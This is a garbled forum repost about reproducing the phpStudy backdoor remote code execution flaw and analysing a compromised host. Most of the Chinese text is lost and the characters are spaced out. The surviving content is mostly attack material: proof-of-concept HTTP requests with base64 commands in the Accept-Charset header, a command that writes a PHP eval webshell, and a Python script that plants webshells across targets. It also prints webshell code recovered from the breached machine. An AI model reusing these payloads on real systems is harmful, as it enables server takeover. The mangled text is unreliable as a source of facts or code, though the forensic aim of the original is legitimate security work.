[14710] 2019-10-17_phpStudy远程RCE漏洞复现以及沦陷主机入侵溯源分析

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-18
2019-10-17_phpStudy远程RCE漏洞复现以及沦陷主机入侵溯源分析 p h p S t u d y R C E     F r e e B u f   2 0 1 9 - 1 0 - 1 7 F r e e B u f ( I D ) 9 2 0 2 0 1 9 ( ) : 1 . p h p s t u d y 2 . p h p s t u d y R C E 3 . p h p s t u d y R C E 3 . P y t h o n 4 . P y t h o n 5 . p h p s t u d y / 6 . 7 . V M w a r e   W o r k s t a t i o n   P r o W i n d o w s 7 /   2 0 0 8 R 2 B u r p S u i t e F r e e p h p S t u d y 2 0 1 6 1 1 0 3 . z i p 使 p h p S t u d y 2 0 1 8 0 2 1 1 . z i p P y t h o n p h p s t u d y ( 1 ) p h p S t u d y 2 0 1 6 1 1 0 3 * : p h p S t u d y p h p p h p - 5 . 2 . 1 7 e x t p h p _ x m l r p c . d l l * : p h p S t u d y p h p p h p - 5 . 2 . 1 7 e x t p h p _ x m l r p c . d l l ( 2 ) p h p S t u d y 2 0 1 8 0 2 1 1 * : P H P T u t o r i a l P H P P H P - 5 . 2 . 1 7 e x t p h p _ x m l r p c . d l l * : P H P T u t o r i a l P H P P H P - 5 . 4 . 4 5 e x t p h p _ x m l r p c . d l l
( 3 )   p h p _ x m l r p c d l l   C t r l   +   F   @ e v a   ( 4 ) P h p s t u d y h t t p s : / / w w w . f r e e b u f . c o m / n e w s / t o p n e w s / 2 1 4 9 1 2 . h t m l h t t p s : / / w w w . c p p e n t r y . c o m / b e n c a n d y . p h p ? f i d = 8 5 & i d = 2 6 1 7 9 1 p h p s t u d y R C E : ( 1 ) P h p s t u d y 使 p h p s t u d y 2 0 1 6 P h p s t u d y 1 9 2 . 1 6 8 . 1 . 9 1 ( 2 ) 访 h t t p / / 1 9 2 . 1 6 8 . 1 . 9 1 /
( 3 ) B u r p S u i t e F r e e ( 4 ) p h p s t u d y   R C E   P O C G E T   /   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 4 3 . 9 9 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ; x 6 4 ;   r v : 6 9 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 9 . 0 A c c e p t : t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , / ; q = 0 . 8 A c c e p t - L a n g u a g e : z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p , d e f l a t e A c c e p t - C h a r s e t : c o m m a n d b a s e 6 4   s t r i n g C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C a c h e - C o n t r o l :   m a x - a g e = 0 ( 5 ) C T R L   +   R A c c e p t - C h a r s e t : c o m m a n d   b a s e 6 4   s t r i n g B a s e 6 4 s y s t e m ( w h o a m i ) ; B A S E 6 4   c 3 l z d G V t K C d 3 a G 9 h b W k n K T s   = A c c e p t - C h a r s e t :   c 3 l z d G V t K C d 3 a G 9 h b W k n K T s =   A c c e p t - E n c o d i n g : g z i p ,   d e f l a t e d e f l a t e ( 6 ) W H O A M I P O C G E T   /   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 9 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ; r v : 6 9 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 9 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , / ; q = 0 . 8 A c c e p t - L a n g u a g e : z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p , d e f l a t e
A c c e p t - C h a r s e t :   c 3 l z d G V t K C d 3 a G 9 h b W k n K T s = C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C a c h e - C o n t r o l :   m a x - a g e = 0 w h o a m i n e t   u s e r ( 7 ) w e b s h e l 使 E C H O     w r i t e _ w e b s h e l l ( 8 ) w e b s h e l ( 1 0 ) ( 1 1 ) B a s e 6 4   w e b s h e l E C H O   ^ < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] ) ; ? ^ > > " C : / p h p S t u d y / W W W / d e m o n . p h p s y s t e m ( '   E C H O   ^ < ? p h p @ e v a l ( $ _ P O S T [ c m d ] ) ;   ? ^ > > " C : / p h p S t u d y / W W W / d e m o n . p h p   ' ) ; c 3 l z d G V t K C c g R U N I T y B e P D 9 w a H A g Q G V 2 Y W w o J F 9 Q T 1 N U W 2 N t Z F 0 p O y A / X j 4 + I k M 6 L 3 B o c F N 0 d W R 5 L 1 d X V y 9 k Z W 1 v b i 5 w a H A g J y k 7
w e b s h e l ( 1 2 )
P y t h o n p h p s t u d y R C E ( 1 ) P y t h o n   P h p s t u d y 2 0 1 6   /   2 0 1 8 R C E ( 2 ) P y t h o n p h p s t u d y R C E p h p s t u d y 便 w e b s h e l l ? ! ( 3 ) p h p s t u d y 访 ( 4 ) 线 p h p i n f o ( ) ; ( 5 ) P y t h o n P h p s t u d y   2 0 1 6 / 2 0 1 8 R C E p h p s t u d y : ( 1 ) p h p s t u d y S E O ( 2 ) p h p s t u d y p h p : i m p o r t   b a s e 6 4 i m p o r t   r e q u e s t s p r i n t ( ' ' '                 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =                                         > > > > > > > > > > > > > > > > P h p s t u d y   2 0 1 6 / 2 0 1 8     R C E   G e t s h e l < < < < < < < < < < < < < < < <                                         [ + ] B y :                                         [ + ]                                         [ + ]                 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =                 ' ' '         r   =   r e q u e s t s . g e t ( u r l = u r l ,   h e a d e r s = h e a d e r s )         c h e a c k _ w e b s h e l l   =   r e q u e s t s . g e t ( u r l + " / d e m o n . p h p " ) i f   c h e a c k _ w e b s h e l l . s t a t u s _ c o d e   = =   2 0 0 :                 p r i n t ( " n n [ + ] { }                                 W e b s h e l l " . f o r m a t ( u r l ) ) e l s e :                 p r i n t ( " n n [ + ] { }                                 W e b s h e l l " . f o r m a t ( u r l ) )         p r i n t ( " n = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = n n " ) w h i l e   T r u e :         p a t h   =   i n p u t ( s t r ( " : " ) )         u r l   =   i n p u t ( s t r ( " I P / : " ) )         p a y l o a d _ q u r y   =   " " " s y s t e m ( ' E C H O   ^ < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] ) ;   ? ^ > > " { } / d e m o n . p h p " ' ) ; " " " . f o r m a t ( p a t h )         p a y l o a d   =   b a s e 6 4 . b 6 4 e n c o d e ( p a y l o a d _ q u r y . e n c o d e ( ' u t f - 8 ' ) )         p a y l o a d   =   s t r ( p a y l o a d ,   ' u t f - 8 ' )         h e a d e r s   =   { ' U p g r a d e - I n s e c u r e - R e q u e s t s ' :   ' 1 ' , ' U s e r - A g e n t ' :   ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 7 5 . 0 . 3 7 7 0 . 1 0 0   S a f a r i / 5 3 7 . 3 6 '         w r i t e _ s h e l l ( u r l = u r l ,   h e a d e r s = h e a d e r s ) P a t h = [ ' C : / p h p / W W W ' , " D : / p h p / W W W " , " E : / p h p / W W W " . . . . . . . . ]
( 3 ) ( ) e c h o w e b s h e l l ( 4 ) l i s h u n s h e n g . p h p ( 5 ) Z n B 1 d H M o Z * * w Z W 4 o J y 4 v d G V z d C 5 w a H A n L C d 3 K y c p L C c 8 P 3 B o c C B l d m F s K C R f U E 9 T V F t j X S k 7 P z 4 n K T s =
( 6 ) t e x t . p h p c w e b s h e l l ( 7 ) p h p m y a d m i n w e b s h e l l 2 0 1 9 9 2 3 1 7 3 0 3 3 f p u t s ( f o p e n ( ' . / t e s t . p h p ' , ' w + ' ) , ' < ? p h p   e v a l ( $ _ P O S T [ c ] ) ; ? > ' ) ;
2 0 1 9 9 2 3 1 8 1 6 3 3 w e b s h e l l ( 8 ) 9 2 3 w e b s h e l l w e b s h e l l 0 0 1 1 2 2 . p h p w e b s h e l l p h p s t u d y p h p m y a d m i n g e t s h e l l p h p s t u d y / ( 1 ) w e b s h e l l I P e m m m m m 访 广 访 w e b s h e l l I P ( 2 ) w e b s h e l l w e b s h e l l : ( 3 ) w e b s h e l l < ? p h p       @ e v a l ( $ _ P O S T [ p p a s s ] ) ;       ? > < ? p h p $ a d d r e s s   =   $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] ; $ r e f e r e r   =   $ _ S E R V E R [ ' H T T P _ R E F E R E R ' ] ; $ b r o w s e r   =   $ _ S E R V E R [ ' H T T P _ U S E R _ A G E N T ' ] ; $ f i l e   =   f o p e n ( " l o g . h t m l " ,     " a " ) ;     $ t i m e   =   t i m e ( ) ; $ n o w _ d a t e =   d a t e ( ' Y - m - d   H : i : s ' , $ t i m e ) ; f w r i t e (   $ f i l e ,   " < b > T i m e : $ n o w _ d a t e < / b > < b r > "   ) ; f w r i t e (   $ f i l e ,   " < b > I P   A d d r e s s : $ a d d r e s s < / b > < b r > " ) ; f w r i t e (   $ f i l e ,   " < b > R e f e r e r : $ r e f e r e r < / b > < b r > " ) ;     f w r i t e (   $ f i l e ,   " < b > B r o w s e r : $ b r o w s e r < / b > < b r / > < h r > " ) ;     f c l o s e ( $ f i l e ) ; @ e v a l ( $ _ P O S T [ p p a s s ] ) ; ? >
( 4 ) l o g . h t m l 使 / 访 w e b s h e l l I P / 访 / l o g . h t m l ( 5 ) 访 w e b s h e l l ( 6 ) 访 w e b s e l l ( 7 ) V P S 访 l o g . h t m l 访 E m a i l / ( 8 ) 访 w e b s h e l l 使 l o g . h t m l I P 使 线 线 使 t i i m e t i m e . s l e e p 1 0 访 ( 9 )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则